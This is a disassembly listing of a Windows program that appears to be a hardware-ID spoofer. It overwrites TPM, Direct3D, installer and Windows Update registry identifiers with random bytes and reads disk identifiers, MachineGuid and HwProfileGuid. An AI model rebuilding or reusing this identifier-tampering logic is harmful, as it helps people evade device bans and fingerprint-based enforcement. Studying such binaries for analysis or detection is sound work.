lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucket
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_delete_value:__ws_ws_ws_n_n
call fcn.140001010
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesTPMWMI
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002454
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetServicesTPMWMI
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400025d4
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.WindowsAIKHash
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400024e3
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.WindowsAIKHash
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x1400025cb
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140002504
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x1400025cb
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x140002533
nop
call fcn.14000a310
and eax, 0x800000ff
jge 0x140002525
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140002510
mov dword [rsp + 0x28], eax
lea rdx, str.WindowsAIKHash
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.WindowsAIKHash
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftDirect3D
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002666
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000001
call qword [0x14002df10]
lea r8, str.SoftwareMicrosoftDirect3D
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400027e4
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.WHQLClass
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400026f5
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.WHQLClass
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x1400027db
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140002716
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x1400027db
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x140002743
call fcn.14000a310
and eax, 0x800000ff
jge 0x140002735
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140002720
mov dword [rsp + 0x28], eax
lea rdx, str.WHQLClass
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.WHQLClass
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareClassesInstallerDependencies
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002876
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000001
call qword [0x14002df10]
lea r8, str.SoftwareClassesInstallerDependencies
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400029f4
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.MSICache
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140002905
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.MSICache
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x1400029eb
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140002926
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x1400029eb
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x140002953
call fcn.14000a310
and eax, 0x800000ff
jge 0x140002945
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140002930
mov dword [rsp + 0x28], eax
lea rdx, str.MSICache
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.MSICache
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002a83
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.HARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140002bbf
mov rdi, qword [rsp + 0x50]
lea rcx, [rbp - 0x40]
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x40]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], r13
mov esi, r13d
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140002bb6
nop word [rax + rax]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x40], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002b4e
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rdi
call qword [0x14002df10]
lea r8, [rbp - 0x40]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140002b7e
mov rbx, qword [rsp + 0x40]
lea rcx, [rbp + 0x650]
call fcn.14001cdb0
lea r8, [rbp + 0x650]
mov rcx, rbx
lea rdx, str.Identifier
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x40]
inc esi
mov qword [rsp + 0x28], r13
mov edx, esi
mov qword [rsp + 0x20], r13
mov rcx, rdi
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002ad0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002c4e
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.HARDWAREDEVICEMAPScsi
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003132
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x650]
mov qword [rbp - 0x58], rbx
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x650]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], r13
mov edi, r13d
mov dword [rbp - 0x78], r13d
mov dword [rsp + 0x58], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140003129
nop word [rax + rax]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x68], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x650]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002d37
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x14002df10]
lea r8, [rbp + 0x650]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400030e9
mov r12, qword [rsp + 0x68]
lea rcx, [rbp + 0x960]
call fcn.14001cdb0
xor eax, eax
mov dword [rbp - 0x80], 0x208
mov qword [rsp + 0x38], rax
lea r9, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x960]
mov qword [rsp + 0x28], rax
xor edx, edx
mov rcx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400030dd
xor ebx, ebx
nop word [rax + rax]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x70], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x960]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002e17
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x70], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x70]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, r12
call qword [0x14002df10]
lea r8, [rbp + 0x960]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003099
mov r14, qword [rsp + 0x70]
lea rcx, [rbp + 0x440]
call fcn.14001cdb0
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], rbx
lea r8, [rbp + 0x440]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, r14
mov qword [rsp + 0x20], rbx
mov r15d, ebx
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140003090
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.arget
lea rcx, [rbp + 0x440]
call fcn.140007970
test rax, rax
je 0x140003053
lea rax, [rsp + 0x78]
mov qword [rsp + 0x78], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x440]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002f13
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x70], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x70]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, r14
call qword [0x14002df10]
lea r8, [rbp + 0x440]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003053
mov rdi, qword [rsp + 0x78]
lea rcx, [rbp - 0x40]
call fcn.14001cdb0
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x40]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
mov esi, ebx
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14000304a
nop dword [rax]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002fe0
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rdi
call qword [0x14002df10]
lea r8, [rbp - 0x40]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003012
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.Identifier
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x40]
inc esi
mov qword [rsp + 0x28], rbx
mov edx, esi
mov qword [rsp + 0x20], rbx
mov rcx, rdi
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002f60
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], rbx
lea r8, [rbp + 0x440]
inc r15d
mov qword [rsp + 0x28], rbx
mov edx, r15d
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002e70
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x80]
mov qword [rsp + 0x30], rbx
lea r8, [rbp + 0x960]
inc r13d
mov qword [rsp + 0x28], rbx
mov edx, r13d
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov dword [rbp - 0x80], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002d90
mov rbx, qword [rbp - 0x58]
mov edi, dword [rbp - 0x78]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r13d, r13d
mov qword [rsp + 0x38], r13
lea r9, [rsp + 0x58]
inc edi
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
lea r8, [rbp + 0x650]
mov edx, edi
mov qword [rsp + 0x20], r13
mov rcx, rbx
mov dword [rbp - 0x78], edi
mov dword [rsp + 0x58], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002cb0
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesTPMODUID
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400031c6
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetServicesTPMODUID
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003348
mov rsi, qword [rsp + 0x48]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.RandomSeed
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140003257
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.RandomSeed
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x14000333f
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140003278
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x14000333f
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x1400032a5
call fcn.14000a310
and eax, 0x800000ff
jge 0x140003297
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140003282
mov dword [rsp + 0x28], eax
lea rdx, str.RandomSeed
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.RandomSeed
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftCryptography
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x1400033d6
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftCryptography
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003406
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.MachineGuid
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140003494
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400034c4
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.HwProfileGuid
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140003552
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003582
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.AccountDomainSid
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140003610
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003640
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.PingID
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x1400036ce
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400036fe
